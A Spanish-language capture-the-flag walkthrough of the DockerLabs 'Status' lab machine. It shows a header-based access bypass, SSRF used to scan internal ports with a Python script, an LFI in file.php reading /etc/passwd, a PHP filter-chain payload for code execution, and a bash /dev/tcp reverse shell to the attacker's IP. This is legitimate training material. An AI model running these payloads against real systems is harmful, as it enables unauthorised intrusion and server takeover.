Status DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip status.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh status.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-13 03:10 EDT
Nmap scan report for packer.pw (172.17.0.2)
Host is up (0.000097s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Web Bunkeriana
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds
Veremos unicamente el puerto 80
en el que aloja una pagina web, si entramos dentro de la misma veremos una pagina normal sin nada interesante, por lo que vamos a realizar un poco de fuzzing
a ver que encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 2407]
/.html (Status: 403) [Size: 5197]
/status.php (Status: 403) [Size: 5197]
/.php (Status: 403) [Size: 5197]
/.html (Status: 403) [Size: 5197]
/.php (Status: 403) [Size: 5197]
/server-status (Status: 403) [Size: 5197]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
Veremos que nos ha encontrado varias cosas interesantes, entre ellas el archivo llamado /status.php
pero vemos que nos reporta un 403
, por lo que no podremos acceder directamente a el, ya que tendremos el acceso restringido.
Pero igualmente si intentamos acceder a dicho archivo, veremos lo siguiente:

Vemos que es un falso positivo lo que nos dio Gobuster
si podremos entrar, pero en la propia pagina no nos pone nada interesante, por lo que vamos a realizar un poco de fuzzing
a ver que vemos.
Vamos a probar a utilizar nikto
a ver que nos encuentra.
Nikto
nikto -h http://<IP> -C all
Info:
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 172.17.0.2
+ Target Hostname: 172.17.0.2
+ Target Port: 80
+ Start Time: 2025-07-13 03:41:27 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.58 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'statusid' found, with contents: 0.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Server may leak inodes via ETags, header found with file /, inode: 967, size: 63815bcf67100, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 26640 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2025-07-13 03:41:51 (GMT-4) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Vemos algo bastante interesante aqui, el siguiente parametro de la respuesta del servidor en la cabecera de la pagina.
+ /: Uncommon header 'statusid' found, with contents: 0.
Vamos a comprobar eso que nos reporto nikto
utilizando BurpSuite
, vamos abrirlo, lo configuramos para que este en mitad de la comunicacion cliente-Servidor
, una vez echo eso capturamos la peticion con BurpSuite
y veremos lo siguiente:
Peticion Cliente
GET /status.php HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Respuesta Servidor
HTTP/1.1 403 Forbidden
Date: Sun, 13 Jul 2025 07:43:41 GMT
Server: Apache/2.4.58 (Ubuntu)
Statusid: 0
Content-Length: 5197
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vemos que efectivamente contiene en la respuesta el Statusid
que nos estaba reportando Nikto
, si probamos a ponerlo en 1
y enviamos la respuesta no va a funcionar directamente ahi, por lo que vamos a probar a modificar la peticion
del cliente para añadir directamente el Statusid
con el valor 1
a ver que pasa, quedando algo asi:
Peticion Cliente Modificada
GET /status.php HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Statusid: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Si lo enviamos nos contestara esto el servidor:
Respuesta Servidor
HTTP/1.1 200 OK
Date: Sun, 13 Jul 2025 07:46:41 GMT
Server: Apache/2.4.58 (Ubuntu)
Statusid: 1
Vary: Accept-Encoding
Content-Length: 304
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<h1>Server Status</h1>
<p>200</p>
<h1>Check Status</h1>
<form method="POST">
<input type="url" name="url" placeholder="http://example.com" required>
<button>Send</button>
</form>
<footer style="position: fixed; bottom: 10px; right: 10px; font-size: 0.9em; color: gray;">
v0.2
</footer>
Vemos que el valor se modifico de forma correcta y que el contenido de la web es otra cosa, ha cambiado veremos esto:

Vamos a probar a realizar algun SSRF
por ejemplo, vamos a poner nuestra IP
junto con un archivo que crearemos, para ver si nos coge desde nuestro servidor de python3
dicho archivo o hace el intento.
test.txt
Fichero de prueba
Abriremos dicho servidor de python3
.
python3 -m http.server 80
Ahora en el campo de la URL
vamos a poner lo siguiente:
http://<IP_ATTACKER>/test.txt
Si le damos a enviar teniendo el BurpSuite
a la escucha para capturar la peticion, veremos lo siguiente:
POST /status.php HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://172.17.0.2
Connection: keep-alive
Referer: http://172.17.0.2/status.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
url=http%3A%2F%2F192.168.177.129%2Ftest.txt
En esta parte tendremos que volver añadirle el Statusid: 1
para que funcione y nos vuleva a redirigir a la pagina en la que estamos quedando asi:
POST /status.php HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://172.17.0.2
Statusid: 1
Connection: keep-alive
Referer: http://172.17.0.2/status.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
url=http%3A%2F%2F192.168.177.129%2Ftest.txt
Ahora si lo enviamos, veremos lo siguiente:

Vemos que ha funcionado y que obtiene el archivo, a parte de que plasma el contenido en la pagina, si intentamos una shell
con PHP
o intentar buscar el archivo si se ha subido al servidor no funcionara nada, pero lo que si funciona es una peticion de archivo de forma interna respecto al servidor, haciendo algo asi.
http://127.0.0.1:80/
Si ponemos eso y lo enviamos, siguiente todo lo anterior veremos lo siguiente:

Vemos que efectivamente esta leyendo dicho archivo que esta en dicho puerto, pero si intentamos algo como file://
no va a funcionar, por lo que hay que seguir investigando el vector de entrada.
Vamos a realizar un escaneo de puerto a nivel interno del servidor, a ver si estuviera alguno de forma interna, por lo que vamos a montarnos un script para ello.
ssrf_port.py
import requests
import concurrent.futures
victim_url = "http://<IP_VICTIM>/status.php"
headers = { "Statusid": "1" }
# Detecta si la respuesta parece “normal” para un puerto cerrado
def baseline_response():
resp = requests.post(victim_url, headers=headers, data={"url": "http://127.0.0.1:9/"}, timeout=5)
return len(resp.text)
baseline_len = baseline_response()
print(f"[*] Baseline response length: {baseline_len}")
def check_port(port):
try:
url = f"http://127.0.0.1:{port}/"
resp = requests.post(victim_url, headers=headers, data={"url": url}, timeout=5)
content_len = len(resp.text)
if content_len != baseline_len:
print(f"[+] Port {port} OPEN? - Response length: {content_len}")
except requests.exceptions.Timeout:
print(f"[-] Port {port} TIMEOUT")
except requests.exceptions.RequestException:
pass # Ignore connection errors (likely closed)
# Usa hilos para mayor velocidad
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
ports = range(1, 65536)
executor.map(check_port, ports)
print("[*] Scan complete.")
Ahora lo ejecutaremos de la siguiente forma:
python3 ssrf_port.py
Info:
[*] Baseline response length: 339
[+] Port 80 OPEN? - Response length: 3216
[+] Port 3222 OPEN? - Response length: 650
[*] Scan complete.
Vemos que hay un puerto a parte del 80
en el que al parecer puede estar abierto de forma interna, vamos a comprobarlo el output
desde la web.
http://127.0.0.1:3222
Si lo enviamos y hacemos todo lo anterior de la cabecera con BurpSuite
, etc.... Veremos lo siguiente en la pagina:

Vemos que si funciona y estamos viendo algo bastante interesante, por lo que vamos a investigar ese endpoint
que estamos viendo.
Vamos a probar a enviar el endpoint
de forma local de esta forma:
http://127.0.0.1:3222/backups
Ahora si lo enviamos, haciendo todo lo anterior veremos lo siguiente en la pagina:

Vemos que ha funcionado y nos esta mostrando una URL
interna a la que vamos acceder poniendolo directamente en el campo de Check Status
.
http://localhost/061400ca5d384de48f37a71ec23cc518/backups/backup_5025a3123660d066c9ba8617c0cd92d5.zip
Pero veremos que el ZIP
nos lo muestra literalmente, por lo que vamos a descargarnoslo de forma directa mediante un script de python3
.
ssrf_saved_zip.py
import requests
victim_url = "http://<IP_VICTIM>/061400ca5d384de48f37a71ec23cc518/backups/backup_5025a3123660d066c9ba8617c0cd92d5.zip"
headers = {"Statusid": "1"}
resp = requests.get(victim_url, headers=headers, timeout=30)
if resp.status_code == 200:
with open("backup_direct.zip", "wb") as f:
f.write(resp.content)
print("Archivo descargado como backup_direct.zip")
else:
print(f"Error, status: {resp.status_code}")
Ahora lo ejecutaremos de esta forma:
python3 ssrf_saved_zip.py
Info:
Archivo descargado como backup_direct.zip
Veremos que ha funcionado, por lo que vamos a extraer dicho archivo de esta forma:
unzip backup_direct.zip
Info:
Archive: backup_direct.zip
creating: backup_5025a3123660d066c9ba8617c0cd92d5/
creating: backup_5025a3123660d066c9ba8617c0cd92d5/061400ca5d384de48f37a71ec23cc518/
creating: backup_5025a3123660d066c9ba8617c0cd92d5/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/
creating: backup_5025a3123660d066c9ba8617c0cd92d5/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/
inflating: backup_5025a3123660d066c9ba8617c0cd92d5/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/status.php
inflating: backup_5025a3123660d066c9ba8617c0cd92d5/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php
inflating: backup_5025a3123660d066c9ba8617c0cd92d5/status.php
Ahora vamos a investigar la estructura de carpetas que se nos ha descomprimido, para ver si vemos algo interesante.
Si entramos dentro de dicha carpeta descomprimida, veremos esto:
total 16
drwxr-xr-x 3 root root 4096 Jun 23 10:06 .
drwxr-xr-x 4 root root 4096 Jul 13 04:57 ..
drwxr-xr-x 3 root root 4096 Jun 23 10:07 061400ca5d384de48f37a71ec23cc518
-rw-r--r-- 1 root root 1876 Jun 23 10:06 status.php
Esto nos da una pista de que a nivel de web puede ser que exista esta ruta de carpetas empezando por 061400ca5d384de48f37a71ec23cc518
y lo que continua hasta llegar a esto:
ls -la 061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/
Info:
total 16
drwxr-xr-x 2 root root 4096 Jun 23 10:06 .
drwxr-xr-x 3 root root 4096 Jun 23 10:07 ..
-rw-r--r-- 1 root root 128 Jun 23 10:06 file.php
-rw-r--r-- 1 root root 2506 Jun 23 10:06 status.php
Vamos a probar a meternos en el archivo status.php
desde esa ruta de carpetas, pero antes vamos a leer que contiene los 2 archivos:
file.php
<?php
if($_SERVER['REQUEST_METHOD'] === 'GET'){
$file = $_GET['72e22dffd7fa10883a85aa3e0bbbd6d4'];
include($file);
}
?>
status.php
<?php
session_start();
$status_url = '';
$status = '';
$source_code = '';
$advanceMode = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['advanceMode'])) {
$advanceMode = $_POST['advanceMode'];
$_SESSION['advanceMode'] = $advanceMode;
}
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
$status_url = get_http_status_code($url, $source_code);
} else {
$status = "Enter a valid URL!";
}
}
} else {
if (isset($_SESSION['advanceMode'])) {
$advanceMode = $_SESSION['advanceMode'];
}
}
function get_http_status_code($url, &$html = null) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_NOBODY, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$parts = explode("\r\n\r\n", $response, 2);
if (isset($parts[1])) {
$html = $parts[1];
} else {
$html = '';
}
return $http_code;
}
$local_status = get_http_status_code("http://localhost:80");
?>
<h1>Server Status</h1>
<p><?php echo htmlspecialchars($local_status); ?></p>
<h1>Check Status</h1>
<form method="POST">
<input type="url" name="url" placeholder="http://example.com" required>
<label for="advanceMode">Advance Mode:</label>
<select name="advanceMode" id="advanceMode">
<option value="true" <?php if($advanceMode) echo 'selected'; ?>>True</option>
<option value="false" <?php if(!$advanceMode) echo 'selected'; ?>>False</option>
</select>
<button>Send</button>
</form>
<?php if ($status_url !== ''): ?>
<p>HTTP Status: <?php echo htmlspecialchars($status_url); ?></p>
<?php if ($advanceMode && $status_url == 200): ?>
<details>
<summary style="cursor: pointer;">Show Output</summary>
<pre style="white-space: pre-wrap; word-wrap: break-word;"><?php echo htmlspecialchars($source_code); ?></pre>
</details>
<?php endif; ?>
<?php endif; ?>
<?php if ($status !== ''): ?>
<p style="color: red;"><?php echo htmlspecialchars($status); ?></p>
<?php endif; ?>
<footer style="position: fixed; bottom: 10px; right: 10px; font-size: 0.9em; color: gray;">
v0.1
</footer>
Vemos que en el file.php
con dicho parametro podremos leer archivo o eso parece, y en el status.php
es la v1
osea una version mas antigua del primer archivo status.php
al que entramos, vamos a comprobar si entramos en el status.php
de v1
.
URL = http://<IP_VICTIM>/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/status.php
Una vez que entremos con BurpSuite
añadiremos el Statusid: 1
para que funcione como lo haciamos antes y veremos lo siguiente:

Vemos que efectivamente cambian cosas y que es la v1
por lo que estamos accediendo de forma correcta a los archivos, ahora vamos a probar con el file.php
de esta forma:
URL = http://<IP_VICTIM>/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?72e22dffd7fa10883a85aa3e0bbbd6d4=/etc/passwd
Info:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
baluton:x:1001:1001:baluton,,,:/home/baluton:/bin/bash
_galera:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:102:MariaDB Server,,,:/nonexistent:/bin/false
redghost:x:1002:1002:redghost,,,:/home/redghost:/bin/bash
Vemos que esta funcionando, por lo que vamos a probar a utilizar wrappers
en PHP
para ejecutar comandos de forma remota (RCE
).
Escalate user www-data
LFI / RFI usando wrappers
Vamos a utilizar una herramienta de GitHub
que nos automatiza el proceso de codificar el payload
que vamos a injectar en la URL
.
URL = https://github.com/synacktiv/php_filter_chains_oracle_exploit/blob/main/filters_chain_oracle_exploit.py
Vamos a crear un parametro llamado cmd
que ejecute cualquier comando que le pongamos, tendremos que ejecutarlo de esta forma:
python3 php_filter_chain_generator.py --chain '<?php echo shell_exec($_GET["cmd"]);?>'
Info:
[+] The following gadget chain will generate the following code : <?php echo shell_exec($_GET["cmd"]);?> (base64 value: PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWyJjbWQiXSk7Pz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Copiaremos todo a partir de php://...
y la URL
nos quedara algo como:
URL = http://<IP_VICTIM>/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?cmd=whoami&72e22dffd7fa10883a85aa3e0bbbd6d4=php://...
Info:
www-data
�
P�����
Vemos que esta funcionando, por lo que vamos a generarnos una reverse shell
de esta forma.
URL = http://<IP_VICTIM>/061400ca5d384de48f37a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev/file.php?cmd=bash%20-c%20"bash%20-i%20>%26%20/dev/tcp/192.168.177.129/7777 0>%261"&72e22dffd7fa10883a85aa3e0bbbd6d4=php://...
Antes de enviarlo nos pondremos a la escucha de esta forma:
nc -lvnp <PORT>
Ahora si lo enviamos con BurpSuite
poniendole en la cabecera el Statusid: 1
y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 53932
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
<a71ec23cc518/cc8e38c20e4e2f58291c0f8b2e3ace5f/dev$ whoami
whoami
www-data
Vemos que ha funcionado, por lo que sanitizaremos la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user baluton
Si buscamos en todo el sistema no veremos nada interesante, por lo que como ultimo recurso vamos a probar a realizar fuerza bruta con el usuario balutin
utilizando un script y pasarnos el diccionario rockyou.txt
.
URL = Download GitHub suBruteforce.sh
